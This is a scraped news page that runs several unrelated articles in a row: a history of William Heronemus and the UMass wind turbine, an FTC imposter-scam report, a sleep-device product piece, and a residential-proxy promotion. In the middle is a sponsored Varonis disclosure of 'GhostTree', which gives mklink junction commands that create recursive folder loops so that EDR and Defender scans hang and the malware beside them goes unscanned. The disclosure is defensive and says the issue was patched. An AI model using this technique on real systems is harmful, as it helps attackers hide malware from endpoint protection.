Security teams log 54% of successful attacks and alert on just 14%. The rest move through your environment unseen.
The Picus whitepaper shows how breach and attack simulation tests your SIEM and EDR rules so threats stop slipping by detection.
Tech
How William Heronemus Kickstarted Wind Energy
A half century ago, a scrappy crew at the University of Massachusetts Amherst erected a wind turbine on Orchard Hill, the highest point on campus. It was a frugal production, cobbled together from the rear axle of a Ford truck, a donated generator and microcontroller, a steam pipe, and various handcrafted steel and fiberglass parts, including its 4.5-meter blades.
The team of UMass engineering grad students, faculty advisors, and one precocious undergrad built it to prove that wind energy could keep rural homes toasty in New England’s frigid winters, as a way of trimming U.S. oil dependence—a national imperative in the aftermath of the 1973–1974 energy crisis. To illustrate the point, they also assembled a modular home there on Orchard Hill, and outfitted it with heaters that would be powered by the turbine.
In 1975 and 1976, a crew from the University of Massachusetts Amherst designed and constructed the 25-kilowatt wind turbine that kick-started the U.S. wind industry. Sandy Butterfield
It worked—too well. “We had to open up the doors in the dead of winter. It was just too damn hot,” recalls Michael Edds, who designed the turbine’s electrical system and served as the project’s first resident engineer. Fittingly, they dubbed the turbine the “Wind Furnace.”
The turbine maxed out at 25 kilowatts—puny compared to modern machines that generate up to 26 megawatts, but more than most energy experts expected from wind technology in November 1976. Back then, wind power still conjured up images of quaint Dutch mills and creaky prairie water pumpers. Crafty engineers would soon show that wind power could be so much more. And it all began with the brilliant, commanding, and often polarizing UMass professor leading the Wind Furnace project: William Heronemus.
A retired U.S. Navy captain, Heronemus had joined the UMass faculty in 1967. He’d earned Bronze Stars for valor in World War II, designed and built nuclear submarines, and liaised with the British Royal Navy on the Polaris missile. UMass had recruited Heronemus to do ocean engineering, but the energy crisis and his growing misgivings about nuclear power shifted his attention to renewable energy.
Heronemus, photographed circa 1973, publicly advocated for the buildout of wind turbines, both onshore and off, at immense scale. Robert S. Cox Special Collections and University Archives Research Center/UMass Amherst Libraries
By 1972, Heronemus was advancing detailed designs to deploy wind turbines at immense scale. That year, at the Marine Technology Society’s annual gathering in Washington, D.C., he presented schemes for building thousands of them across the Great Plains as well as a vast grid of massive floating turbines transecting New England’s continental shelf. Wind power, he contended, could generate nearly a fifth of U.S. electricity needs by the year 2000. Never mind that the technology for such an enormous buildout had yet to be commercialized. Espousing grand schemes made Heronemus a quixotic figure.
He also vigorously attacked the commercialization of nuclear power, creating enemies within electric utilities and U.S. government agencies that saw nuclear technology as the future. They didn’t appreciate his claims that a cleaner energy future via wind was ready to be tapped, and that the push for nuclear power and its radiological risks was unnecessary. As author and energy analyst Peter Asmus put it in his 2000 book, Reaping the Wind: “William Heronemus was a dangerous man suggesting an audacious departure from the status quo.”
The UMass Amherst wind turbine generated most of the energy to heat a modular home through the cold, windy winters on Orchard Hill. Solar thermal panels provided some heat during windless periods. Robert S. Cox Special Collections and University Archives Research Center/UMass Amherst Libraries
What happened on Orchard Hill in 1976 marked Heronemus’s turn from provocateur to changemaker. The success of the experimental turbine set off waves of technological and industrial developments that forever changed the energy landscape. Within a few years, the students he trained and the entrepreneurs he inspired were building the world’s first modern wind farms and leading the Great California Wind Rush—the market that turned wind craft into an industry that’s still growing fast half a century later.
Globally, annual wind generation more than tripled between 2015 and 2025, according to data from Ember Energy, a think tank based in London. It will best nuclear’s global output by the end of this year, Ember predicts. And it all started with Heronemus, says Robert Thresher, longtime former director of wind research at the National Renewable Energy Laboratory (NREL) in Golden, Colo. (a U.S. Department of Energy lab rebranded late last year as the National Laboratory of the Rockies). “In my mind he was the father of the people that went out and really made the industry what it is today,” he says.
William Heronemus and the History of Wind Power
I got to know Captain Heronemus posthumously, interviewing his contemporaries and sifting through boxes delivered to the UMass Amherst archival research center’s 25th-floor reading room. During three visits there since 2023, I have discovered clues to his life, thinking, and research process amid the writings where he pitched his big ideas to the world. His papers include proposals to governments, utilities, and deep-pocketed philanthropists and investors, including Jane Fonda and Goldman-Sachs. Papers reveal the internationalism and commitment to service that took Heronemus on renewable-energy consulting trips to Pakistan, Cuba, Côte d’Ivoire, and beyond. Records show meetings with corporate powerhouses like Boeing and Grumman Aerospace and calls on politicians, including the senator and presidential hopeful Ted Kennedy. Postcards from former students exude gratitude.
Heronemus sits with a mock-up of a multirotor turbine in his cramped office in Marston Hall, UMass Amherst’s main engineering building. Robert S. Cox Special Collections and University Archives Research Center/UMass Amherst Libraries
I learned that Heronemus turned his attention from ocean engineering to energy a few years after arriving at UMass, when he saw the growing string of nuclear power plants going up along the Connecticut River, which flows past Amherst en route to Long Island Sound. The U.S. government had picked nuclear power as an antidote to the 1970s oil crises, and Northeast utilities had jumped in big. But Heronemus and other UMass engineers worried that the riverside reactors’ waste heat would threaten the river’s ecosystem and bounty.
The advent of cooling towers to blow off heat into the air addressed the thermal pollution concern but created another: water depletion. (Nuclear plants consume about 60 million gallons of water per day, per reactor, on average.) And Heronemus perceived other nuclear power liabilities, stemming from his experience with nuclear propulsion on Navy ships. As a design engineer and head of construction and repair for a shipyard, he valued the military’s zero-accident standard for reactors but also knew the high cost of adhering to it. He argued that building expanded versions of the Navy’s pressurized water reactors to power cities and factories couldn’t be both safe and economical.
In 1971, Heronemus designed an offshore turbine with three rotors, but the first big multirotor prototype wouldn’t be built for another four decades. Robert S. Cox Special Collections and University Archives Research Center/UMass Amherst Libraries
He predicted—accurately, as it turned out—that costs would rise sharply as the nuclear industry addressed safety and environmental concerns. “Each plant costs more than its predecessor. The shipyards involved with nuclear reactors came to that conclusion years ago,” he wrote in a 1973 research proposal. He also argued that the risks inherent in nuclear reactors and their radioactive waste were unnecessary given Earth’s abundant solar and wind energy resources. He broadcast those views wherever and whenever he could: before congressional committees, at U.S. Atomic Energy Commission hearings, at academic conferences, in media interviews, and even at Rotary Club luncheons.
At a 1973 licensing hearing for the proposed 820-MW Shoreham Nuclear Power Plant on Long Island, N.Y., for example, Heronemus called affordable nuclear energy a “myth.” He detailed, in its stead, a floating wind power system that could be moored off Long Island and sized to deliver more than four times as much electricity as the Shoreham plant. Each of the 640 floating platforms would carry six rotors and crank out up to 12 MW, some of which would power electrolyzers to generate hydrogen. The hydrogen would be fed to power plants or fuel cells to produce electricity when the wind wasn’t blowing. This seemingly futuristic idea drew on his Navy experience with water-splitting electrolyzers, which supplied the oxygen that enabled subs to remain submerged for months at a time, and NASA’s use of hydrogen fuel cells to power the Apollo missions.
More than five decades later, his vision for offshore wind power is big business. Floating platforms are now widely accepted as the future of offshore wind, as necessity pushes the industry to build in deeper waters. Testing began on the first floating electrolysis platforms in 2023, and multirotor turbine prototypes are in development in China, Norway and Scotland.
The UMass Amherst Wind Turbine Legacy
Photos in the UMass archives invariably capture Heronemus in jacket and tie, usually standing bolt straight. That commanding affect, plus his World War II veteran pedigree, Cold War engineering credentials, and his informed, pugnacious attacks made him a hard target for his adversaries in the nuclear establishment. He certainly wasn’t your typical antinuclear activist.
Wielding his Cold War engineering credentials and often dressed in a suit and tie, Heronemus fought hard against nuclear energy, arguing that wind was a far safer and cost-competitive resource.Robert S. Cox Special Collections and University Archives Research Center/UMass Amherst Libraries
But brutal candor in public settings probably won him as many enemies as friends. Consider his presentation at the IEEE Power and Energy Society’s 1974 winter meeting, where Heronemus suggested scrapping the utilities’ then nuclear-focused research arm, the Electric Power Research Institute. That stance no doubt created discomfort for the engineers in attendance who were involved in EPRI projects, or who aspired to be.
It’s hard to say whether Heronemus’s campaign slowed nuclear development. The industry was already struggling with cost overruns when, in 1979, a reactor at Three Mile Island in Pennsylvania partially melted down and slammed the brakes on further expansion.
What is certain is that Heronemus spurred investment in wind power. When he started talking up wind in the early ’70s, even fellow travelers in the fledgling renewable energy movement were writing it off. As future White House science advisor John Holdren opined in a 1971 Sierra Club book: “There are few places in the world where the wind is strong enough and steady enough to make harnessing it for the large-scale production of power at all interesting.”
Heronemus dreamed up networks of wind turbines over and along highways after driving down the Garden State Parkway to a conference in Cape May, New Jersey. Ellen Heronemus
Heronemus countered the naysayers by quickly forging expert consensus around wind power’s immense potential, playing a key role as the sole wind expert on a 1972 federal panel on renewable energy. That joint National Science Foundation–NASA panel concluded that, in fact, wind could meet up to 19 percent of projected U.S. power demand by the year 2000.
Congress listened, sort of. After most Persian Gulf states restricted oil shipments to the United States in 1973, congressional appropriators dedicated US $1.8 million to wind-power research and development for 1974—up from zero—and by 1976 it had bumped that to $22 million. (For comparison, Congress gave nuclear power $714 million in 1976.)
Heronemus’s vision for a massive highway wind-power scheme was inspired in part by the wind-power advocate Percy Thomas, who in the 1940s and 1950s “talked a lot about how fresh New Jersey winds are,” he told the New York Times in 1974. “I got to thinking about what Thomas had said and how wind energy could be captured there.” Ellen Heronemus
The bulk of the funding for wind power flowed to big aerospace firms and to NASA, financing an ultimately fruitless attempt to leap straight to megawatt-scale wind turbines. UMass struggled to grab a slice of the leftovers to pursue Heronemus’s offshore wind system. Professors and students who worked with Heronemus told me they felt they’d been blackballed as payback for his activism and antagonism.
UMass finally caught a funding break when Heronemus dialed back his ambitions and proposed the 25-kW unit for Orchard Hill. A $130,000 federal grant landed in early 1975, and $150,000 more the following year. It was a “trivial” sum, according to team member Sandy Butterfield, who would later become chief engineer for wind-turbine testing at NREL. “They gave us just enough to fail,” says Butterfield.
A crane erects the “Wind Furnace” in November 1976. Sandy Butterfield
But the project triumphed, resulting in Wind Furnace 1, or WF-1 (pronounced “woof one”). The young engineers behind it credit their success to the confidence, sense of mission, and structure that Heronemus gave them. The self-described “hippies” called Heronemus “the Captain” out of both affection and respect.
As team member Edds puts it: “What showed in his demeanor and his actions was discipline, and it sort of rubbed off on us. We didn’t always dress like the Captain, but we knew we had to be disciplined, to be prepared, and just do the job.”
From Helicopter Rotor to Wind Turbine
Team WF-1 got a quick start, thanks to earlier, privately financed work by a couple of doctoral students, including Forrest “Woody” Stoddard. Stoddard had been designing helicopter rotors for the U.S. Air Force when Heronemus invited him to come work on wind power in 1972. Stoddard set about adapting helicopter-rotor theory to the closely related wind rotors, and his aerodynamics modeling proved essential to the engineering of the entire machine.
Woody Stoddard [far right, in hat] designed the fiberglass blades with Ted Van Dusen. The team assembled the blades in a campus shop, and when it was time to squeegee epoxy from the blades, it was all hands on deck. Robert S. Cox Special Collections and University Archives Research Center/UMass Amherst Libraries
As WF-1’s de facto chief designer, Stoddard likely supported the team’s early choice to mimic a helicopter’s ability to “pitch” its blades. To fly forward, a helicopter continuously adjusts the lift created by each blade, turning the airfoil on its long axis to reduce lift as it swings past the front of the aircraft. Doing so tilts the nose down and moves the vehicle forward. In WF-1’s case, blades pitched to regulate torque, helping get the rotor spinning in low winds and then easing off to protect the machine in dangerously high winds.
Repurposing a truck axle to mechanically couple WF-1’s rotor and generator was one of several design elements borrowed from engineers at McGill University in Montreal. Production of WF-1’s fiberglass blades got started at UMass in 1974 under the direction of doctoral student Ted Van Dusen. A competitive rower, he had a side hustle making ultralight composite boats—a trade that had stalled his doctoral work at MIT but was an accelerant for WF-1.
The federal funds in 1975 allowed Heronemus to really spin up the project and recruit a squad of students to engineer the balance of WF-1’s components. They made good use of the UMass engineering machine shop and received guidance from faculty, including mechanical engineering professors Duane Cromack and Jon McGowan. But it was the dozen or so students who really cranked out the parts.
Most were master’s students, like Butterfield, who designed the blade-pitching mechanics. Edds, the team’s only electrical engineer, had come to UMass to learn ocean engineering, only to be diverted into handling WF-1’s generator. Louis Manfredi, another ocean engineering student, teamed up with master’s student Jim Sexton on the nacelle housing the generator and drivetrain. Fred Antoon adapted the truck axle. Brian Kuhn did drawings.
WF-1 contained a mechanism that pitched its blades to regulate torque in response to wind speed, a feature that became an industry standard.Sandy Butterfield
An 18-year-old freshman, Dan Handman, came aboard and soon made himself indispensable. When he approached Heronemus to introduce himself, Heronemus handed him three months’ worth of anemometer readings punched into recording paper, and told him to turn it into 15-minute averages. Figuring there had to be a more efficient method for analyzing wind speeds, Handman asked around and found a wind-averaging machine from an earlier student project. A month or so later, he’d installed it in a cabinet near Heronemus’s office and wired it to an anemometer on Orchard Hill.
Handman’s primary role on WF-1 was setting up its computerized control system, which tracked wind speed and sent commands to Butterfield’s pitch mechanism. The controls also tracked the generator’s speed and adjusted the current to its rotor windings, in accordance with calculations by Edds. Tweaking the current ensured that power demand from the electric heaters installed in the home below didn’t stop the rotor in weak winds.
Sandy Butterfield, part of the 1970s “UMass Mafia” team that built WF-1, became a wind-power entrepreneur and a top engineer at the National Renewable Energy Laboratory in Golden, Colo. Sandy Butterfield
The finished WF-1 really cranked up the heat, some of which was stored by heating water in tanks in the modular house’s basement, to be circulated through baseboards in windless periods. It turned out WF-1 was unusually efficient at capturing wind energy because its rotor could change speed with the wind, keeping the blades close to an aerodynamic optimum.
This varying rotor speed meant that the frequency of the electric power WF-1 produced also varied. Turbines linked to power lines must strive for the opposite—a steady output that synchronizes with the grid’s frequency—primarily 50 or 60 hertz. But it suited the home’s low-tech heating scheme just fine. (Electronic converters let today’s turbines have it all by ingesting a variable wave and outputting a new wave that’s synced to the grid.)
The Great California Wind Rush
In 1977, with WF-1’s success in hand, Heronemus projected that 3 million homes like the one on Orchard Hill could soon slash U.S. heating oil demand by 90 million barrels a year. That never happened, but an industry was born, starting with a Burlington, Mass. startup called US Windpower—the first “credible” U.S. turbine manufacturer, according to Thresher, who is now an emeritus researcher at the National Laboratory of the Rockies.
Belgian-made WindMaster turbines erected at Altamont Pass signaled the internationalism of the California wind rush. UMass team member Woody Stoddard conducted engineering analyses of many early designs deployed there.Bettman/Getty Images
Boston-area entrepreneurs Russell Wolfe and Stanley Charren launched US Windpower with Stoddard and Van Dusen after visiting Heronemus in 1974 and liking what they heard. They adapted WF-1’s design to make it suitable for grid-connected operation, building and breaking prototypes before erecting the world’s first grid-connected wind farm in 1980—20 turbines on a mountain in New Hampshire. California’s water authority placed an order for 100 MW of wind power, and in 1981 US Windpower began installing hundreds of turbines in Altamont Pass, east of San Francisco.
As more firms jumped to California, drawn by state government incentives, WF-1’s creators and the next cohort of UMass grads assumed important roles in the nascent market. Seven joined Energy Sciences, a startup cofounded by Butterfield. More joined U.S. Windpower. Stoddard left that company to start a consulting firm and ended up advising some of Denmark’s modern wind pioneers, which rapidly expanded thanks to the California market. Those early Danish firms made relatively simple, sturdy machines that subsequently scaled up and dominated globally for several decades — until China embraced wind power.
The California wind power boom peaked in 1986, after which energy prices collapsed and incentives faded. Most manufacturers were bankrupted by equipment failures and financial challenges, making the 1990s a tough time for wind power’s pioneers. Many UMass wind engineers, like Butterfield, joined Thresher’s operation at NREL, culling everything they could from the California experience.
“An entire generation of U.S. wind engineers got their graduate training, at least in part, using the Wind Furnace.”—Harold Wallace
There, Heronemus’s protégés became known as the “UMass Mafia.” Thresher says it attests to the crew’s impact: “There were others. But that UMass Mafia were really leaders in the field. I think that’s the heritage we got from Bill Heronemus. Those people were so impactful and the education they got [with Heronemus] was the key.” What Heronemus began at the university became the UMass Wind Energy Center, which has awarded over 300 graduate degrees.
WF-1 now rests in the Smithsonian Institution’s collections in Washington, D.C. It earned its place there, as Smithsonian’s only modern wind turbine, because it represents wind energy’s revival, according to Harold Wallace, Smithsonian’s curator for electricity collections. “An entire generation of U.S. wind engineers got their graduate training, at least in part, using the Wind Furnace,” he says.
Heronemus didn’t get to witness the production of the massive offshore machines that he foresaw. He lost his long fight with cancer in November 2002, at the age of 82, even as former students and family members were racing to patent his multirotor and floating turbine designs.
Had he lived longer, the Captain would almost certainly have railed against current U.S. energy policy. The U.S. government has never backed wind power as generously as he’d hoped. Wind supplied 10 percent of U.S. generation last year—that’s half the share in Europe—with offshore turbines providing only a tiny sliver. Federal support for wind power has been in a stop-go cycle since Ronald Reagan’s administration, and it’s hit a low again under President Donald Trump, who has vowed to stop wind power cold. As Trump boasted to oil executives in January: “We have not approved one windmill since I’ve been in office, and we’re going to keep it that way.”
Under Trump, stop-work orders have disrupted offshore projects from Massachusetts to Virginia, contributing to a nearly $600 million loss in 2025 for GE Vernova’s wind business. GE Vernova is the only major wind turbine manufacturer remaining in the United States, and it too can be traced back to Heronemus via a US Windpower patent.
In stark contrast, European and Asian countries have been going big on offshore wind and are now developing floating wind farms to push into deeper waters. China might be the one to finally conjure up Heronemus’s favored wind design: floating platforms bearing massive multirotor machines. In 2024, Zhongshan-based turbine maker Ming Yang Smart Energy Group deployed a two-rotor offshore prototype. The company says its next iteration will generate a whopping 50 MW—a twin-headed beast that would be the world’s most powerful wind machine.
That will be a bittersweet moment for the U.S. wind industry and Captain William Heronemus’s UMass Mafia, for whom such massive machines are a dream come true. Joanne Carroll, a retired member of the UMass Mafia, says she remembers the very moment, her freshman year, when Heronemus’s dream became hers. While he was lecturing in Introduction to Engineering about the hidden costs of coal-fired power, Heronemus walked to the window and said: “‘But out there there’s wind, and you can harvest that energy,’” Carroll recalled. “And I remember thinking: That’s what I want to do with my life.”
The author would like to give special thanks to UMass professor emeritus James Manwell for his assistance with this story.
From Your Site Articles
Related Articles Around the Web
Continue Reading
Most security teams think of NTFS junctions and symbolic links as niche file system features. They let one directory point to another, like a shortcut that the OS treats as real. They exist for backward compatibility, storage management, things that rarely come up in a SOC. But they have a property that makes them interesting from an offensive perspective: any user can create them.
No admin privileges are required, and no special permissions beyond write access to the target folder.
We discovered that by pointing a junction back at its own parent directory, an attacker can create recursive loops that generate effectively infinite file paths. Tools that try to scan the directory recursively, including EDR products, could follow the loop and never finish.
The malicious files sitting in the same folder go unexamined, creating a technique we’ve dubbed GhostTree.
How NTFS junctions work
Windows file paths are a fundamental part of the operating system, but they come with complexities. While most users interact with simple folder structures, the NTFS file system introduces advanced capabilities like junctions and symbolic links.
These features serve legitimate purposes, such as redirecting directories, maintaining backward compatibility with legacy applications that expect files to be in specific locations, or reorganizing files without physically moving them.
A junction is a type of NTFS reparse point that redirects one directory to another. Creating one requires only write permissions and a single command in CMD:
mklink /J C:\LinkToFolder C:\TargetFolder
This creates a junction named “LinkToFolder” that transparently points to “TargetFolder.” Any application accessing files through the junction sees the contents of the target directory as if they were local.
One constraint matters here though. Classic Windows systems impose a maximum path length of 260 characters, which is rooted in legacy software and file system design.
It is technically possible to extend this limit up to 32,767 characters via a registry key, but many applications and utilities are not equipped to handle paths beyond 260.
Even though NTFS supports longer paths, practical usage remains restricted by existing software. That limit determines how deep the recursive loops can go, and how many unique paths GhostTree can produce.
Safeguarding sensitive data starts with visibility — knowing where your information lives, who can access it, and how it’s being used.
The Varonis Data Security Platform automatically locks down exposure, continuously monitors activity across SaaS, IaaS, on-prem, and databases, and detects and responds to insider threats, ransomware, and AI abuse.
GhostBranch
GhostBranch is the simpler of the two techniques. Any user can create a folder junction, setting both the junction’s name and destination. Consider this folder structure:
C:\Parent\program.exe
Run the command:
mklink /J C:\Parent\Child C:\Parent
This creates a logical loop by pointing a child folder back to its parent folder. The child directory now contains everything the parent does, including itself. The result is an unlimited number of valid paths to the same file:
C:\Parent\Child\Program.exe
C:\Parent\Child\Child\Program.exe
C:\Parent\Child\Child\Child\Child\Program.exe
Due to the loop, you can add multiple “Child” folders to the path, and it remains valid. Every one of these paths resolves to the same executable.
GhostTree
GhostTree builds on the GhostBranch concept by creating multiple child folders instead of one. For example, you can create two child folders:
mklink /J C:\Parent\Child1 C:\Parent
mklink /J C:\Parent\Child2 C:\Parent
Now every level in the path can branch through either Child1 or Child2, and both loop back to the parent. This allows various paths:
C:\Parent\Child1\Program.exe
C:\Parent\Child2\Program.exe
C:\Parent\Child1\Child1\Program.exe
C:\Parent\Child1\Child2\Program.exe
Path calculations
Both GhostBranch and GhostTree produce paths that can extend to the maximum length Windows allows. The difference is in path diversity, which is where GhostTree’s additional child folder changes things considerably.
GhostBranch
Within Windows, the maximum traditional path length is 260 characters. To maximize the number of directories, one can create single-letter folders (e.g., “P”) directly under the C: drive and employ an executable named 1.exe.
Example paths include:
C:\P\1.exe
C:\P\P\1.exe
C:\P\P\P\...\1.exe
This configuration allows for approximately 126 unique directory structures due to path length limitations.
GhostTree
The GhostTree method introduces two parent folders, “P” and “B”, in contrast to the single-folder structure used previously. Examples include:
C:\B\1.exe
C:\P\B\1.exe
C:\P\B\P\B\...\1.exe
While the maximum depth remains around 126 folders, each level may be named either “P” or “B,” effectively creating a binary tree-like structure. With this configuration, each node represents a distinct path, and the total number of possible nodes is calculated as:
2^126 ≈ 8.5 × 10^37
How big is that? It’s vastly larger than the number of grains of sand on Earth (8.5 × 10^18) or even the atoms in your body (10^27).
Why this matters for defenders
With just two lines of code, a user can generate endless valid paths, making it impossible to finish scanning parent directories with the dir command recursively. The same applies to EDR products that scan folders for malicious files. An attacker places malware in the parent directory, sets up the GhostTree structure, and the containing folder becomes effectively unscannable. The scan hangs. The malicious files go unexamined.
We tested this technique against Windows Defender and confirmed it could be used to evade folder scans.
We reported the issue to Microsoft. The ticket was closed with the explanation that “bypassing Defender is not crossing a security boundary.” The issue was subsequently patched regardless.
Techniques like GhostTree are a reminder that endpoint scanning is only one layer of defense. Monitoring file system activity at the data layer catches what scanners miss, including anomalous junction creation and recursive directory structures that should not exist in normal operations.
Varonis monitors file access patterns and detects this kind of anomalous activity across file systems and cloud infrastructure.
Schedule your demo today.
Sponsored and written by Varonis.
The U.S. Federal Trade Commission (FTC) warned that Americans lost $3.5 billion to imposter scams in 2025, with reported losses nearly tripling since 2020.
Imposter scams were also the most reported fraud category last year, accounting for nearly one in three fraud reports filed with the FTC. In these scams, the fraudsters reach victims through text messages, phone calls, emails, social media, and search engine results. The costliest schemes typically involve a fake bank security alert that prompts targets to transfer funds to “protect” their accounts.
According to the FTC, victims lost nearly $1 billion to business impersonators (with bank impersonators being behind the most lucrative scams) and approximately $920 million to government impersonators. Social media was the most cost-effective attack vector for impersonators, with more than $2.1 billion in 2025 losses traced to social platforms (an eightfold increase since 2020).
Nearly one in three Americans who lost money in such scams were first contacted through social media, with Facebook losses alone exceeding those from text and email combined, while WhatsApp and Instagram ranked second and third.
“The FTC will use every tool available to combat one of the most pernicious forms of fraud—government and business impersonation—and to protect the integrity of the digital economy,” said Christopher Mufarrige, director of the FTC’s Bureau of Consumer Protection.
Overall reported fraud losses across all categories have surged to about $16 billion in 2025, the highest on record and roughly 25% above the prior year.
In March 2024, the FTC also warned that scammers were impersonating its employees to steal money after receiving many reports of scams in which fraudsters impersonated agency personnel to pressure Americans via phone calls, email, or text messages into wiring or transferring money.
Since its Impersonation Rule took effect in April 2024, the FTC has brought a dozen enforcement actions, securing more than $70 million in consumer redress and halting some imposter schemes.
Last year, the FTC announced law enforcement actions under this rule against MediaAlpha (government imposter scheme), American Tax Service (IRS imposter scheme), Blackstone Legal (phantom debt business imposter scheme), Click Profit (business imposter money-making scam), and Accelerated Debt Settlement (government and business imposter scheme).
It also filed a complaint against Innovative Partners in April 2026, alleging the company impersonated the government and insurance carriers to sell fraudulent health plans.
The same month, the FBI warned in its 2025 Internet Crime Report that U.S. victims lost almost $21 billion to cyber-enabled crimes throughout last year.
If you’ve ever used a pillow spray or lotion designed for sleep, you understand the power that scent can have on rest. So does Kimba, a new sleep technology company whose clinically validated, AI-powered Kimba device is now available for preorder in the US. The Kimba tracks your health metrics to release scents while you snooze, aiming to guide you into a deeper, more restorative sleep without the need for pills, the company said in a press release.
Unlike wearable devices that passively track your sleep, the Kimba seeks to actively improve it. It does so with built-in ambient sensors that monitor breathing patterns, movement, room disturbances, light levels and snoring, along with the ability to connect to wearables such as the Whoop, Oura Ring, Apple Watch, Fitbit and wearables by Garmin. Then it delivers personalized scents using three capsules contained in the device.
Kimba was founded by Ben Fuxbruner, a former special forces commander who dealt with post-traumatic stress disorder and chronic insomnia after a near-death injury. Sleep and brain science researchers, including olfactory and neuroscience expert Anat Arzi, who holds a doctoral degree in neurobiology, helped develop the Kimba device.
“The influence of sensory input during sleep is significant,” Arzi in a statement. “Olfactory stimulation is uniquely beneficial for this because it can influence brain activity without waking the individual.”
Inside the Kimba, you’ll find three scents.
Once the Kimba is released, I plan to test the product to see if it lives up to its promises and the price of about $600 a year.
It begins with a sleep assessment
It all starts with a sleep assessment on the Kimba app. This assessment helps the sleeper “to understand their sleep challenges, goals, preferences and lifestyle factors,” Fuxbruner told CNET. Those who preorder a Kimba will take the sleep assessment to create a personalized sleep profile and determine which three scent capsules they receive first.
There are currently 12 water-based, plant-derived scent formulations packaged in proprietary scent capsules that are replaced every three months. Scents include Soft Blue, created with Roman chamomile to support sleep initiation; Golden Grove, made with Austrian sandalwood to ground the body; and Lemon Calm, built with Bulgarian melissa (also known as lemon balm) to downshift anxiety.
New capsules are scheduled to ship before replacements are needed, and these shipments are part of the Kimba membership.
According to Fuxbruner, the $299 preorder price includes the Kimba device, app access, a six-month membership with personalized scent deliveries and free shipping. After that, preorder you can continue receiving scents through your membership at the same discounted rate of $299 every six months (about $49.90 a month). That comes out to about $600 a year.
The Kimba app shows your sleep data and the scents that were used to help you snooze.
AI uses your data to pick your sleep scents
Following the sleep assessment, once you go to sleep, the Kimba will monitor nightly health metrics, including heart rate variability, movement, breathing patterns and data from wearable devices. Fuxbruner explained that it uses its proprietary adaptive AI to analyze this data and determine when, what and how much scent to deliver, and to make adjustments throughout the night to optimize recovery, sleep continuity and depth.
Kimba’s machine learning models “learn how sleep patterns evolve over time and differ across individuals using physiological signals from wearables and Kimba’s own sensing systems,” said Fuxbruner. “Because Kimba’s objective is measurable: better sleep quality, continuity, recovery and cognitive performance, Kimba can continuously evaluate and optimize its models based on real-world outcomes.”
In other words, the more you use the Kimba system, the more personalized your scent experience should become.
New scents are delivered quarterly
During the first few months of use, Kimba establishes a baseline using information from the onboarding questionnaire, sleep data collected from a wearable and using the Kimba’s built-in sensors. The device doesn’t use cameras but can detect sleep-related sounds, such as snoring.
“The system is designed to filter for specific sleep-relevant signals only, collecting only the information necessary to generate personalized sleep insights and scent recommendations,” said Fuxbruner. Conversations and other audio are not recorded, stored or retained, he said.
As data is gathered, the system identifies patterns between specific scent combinations and positive sleep outcomes, such as longer periods of deep sleep or fewer nighttime awakenings.
Then, each quarter, Kimba users will receive updated scent recommendations and before shipment, they can review these scents and why they’ve been endorsed in the Kimba app.
Scents get released from the top of the device.
Kimba’s privacy policy
All data is encrypted both in transit and at rest within the Kimba ecosystem, including the device and cloud infrastructure, Fuxbruner said.
Kimba’s privacy and security practices align with HIPAA requirements and the international ISO 27701 privacy management principles. Data is used solely to personalize and optimize your sleep experience and is not sold or shared with third parties for advertising purposes.
Current and future research
Arzi conducted a study with 50 participants over 48 nights and found that Kimba improved their sleep quality and cognitive performance. These findings are to be presented at conferences later this year.
Under the guidance of sleep expert Peretz Lavie, Kimba is advancing two additional clinical studies: one using polysomnography (PSG, also known as a sleep study) to evaluate physiological sleep outcomes, and another focused on mental health and PTSD to explore Kimba’s impact on sleep and recovery.
You can register for preorder at kimba.ai. Shipping will begin this fall.
Many websites will show you different prices, contents, ads, and search results depending on where you are. When marketers and academics see only one version of the internet, they might miss important information and draw the wrong conclusions.
Now is the time when residential proxies are useful. You can see websites from various places and get a better idea of what people all over the world see by routing internet data through real residential IP addresses.
What ProxyWing Offers Beyond Standard Residential Plans
One thing many residential proxy providers do is provide access to IP addresses. In a broader sense, ProxyWing is building a platform to address real-world business and study needs. The big residential IP pool is one of the best things about it. When a network is bigger, people can connect to more unique IP addresses from different places. This makes it easier to access location-sensitive information and reduces the number of restrictions that come with it.
One more benefit is that sessions can be changed. For some projects, IP addresses need to change all the time. Others need a connection that remains stable for longer. ProxyWing lets users choose between rotating sessions and sticky sessions, so they can use the feature that best fits their workflow.
Real Use Cases We Tested for Marketers
Often, marketing professionals need accurate information about the region to make decisions. We looked at several real-world examples to assess how well ProxyWing works in an everyday marketing environment.
1. Local Search Engine Result Tracking
In different towns and countries, we looked at how search results looked. With the residential IPs, it was easier to show correct localized search results.
2. Watching the prices of competitors
Marketing teams often keep an eye on their competitors. Location-specific pricing research was possible thanks to the network, which didn’t cause many problems.
3. Verification of Ad
We looked at different places or locations to see if online ads were showing up properly. Proxy servers let us see ads as people in our area would.
4. SEO Campaign Analysis
We looked at search results from several different areas. Results were more accurate at reflecting local search conditions than standard connections.
5. Tracking Affiliate Campaigns
Affiliate marketers must verify landing pages and tracking cnnections. Residential IPs offered dependable insights across various regions.
Real Use Cases We Tested for Researchers
Researchers often need knowledge that is both unbiased and relevant to the area. We put ProxyWing to the test in a number of research-related situations.
1. Getting information from schools
Researchers who are gathering public information from different places could more easily use statistics that are specific to those places.
2. News Monitoring
Headlines in different places are often different. The network lets people see news from an area’s perspective.
3. Studies of consumer behavior
Online behavior researchers could get a better picture of how people in different places interact with localized content.
4. Search Engine Research
Differences in search results across areas could be clearly seen and recorded.
5. Travel Data Collection
Travel prices vary widely depending on where you are, so residential IPs were useful for comparing how prices work across different areas.
6. Monitoring of digital policies
Researchers examining differences in internet rules and content could access web experiences specific to their location.
These examples showed how useful residential IP addresses are for gathering information important to a specific area.
Configuration and Integration Experience
Setting up is one of the things that worries beginners the most. Thanks to ProxyWing, the process is pretty easy to understand.
Users can easily manage their credentials, select locations, and set up sessions on the dashboard thanks to its well-organized layout.
We tested how well the integration worked in several common ways.
Configurations performed in a browser took only minutes to complete. Most users can simply enter proxy credentials and begin routing traffic through the residential network.
Standard proxy integration steps were used to set up automatic tools. The documentation was clear enough to help connect browser automation platforms, scraping tools, and data collection systems.
Common proxy standards will be useful for developers building custom software. Integration didn’t require many changes to the way things were done before.
The choices for managing sessions were especially helpful. Users could choose between rotating and sticky sessions based on the project’s needs.
Performance remained stable throughout extended testing periods, and connection reliability was suitable for ongoing data collection and monitoring.
Overall, the setting process felt easy enough for beginners to handle while still giving advanced users enough options.
Pricing and Plan Selection Guidance
The project’s goals, traffic needs, and projected usage levels will help you choose the best residential proxy plan. Long-term studies may require higher-volume plans so researchers can continue collecting data across multiple sites.
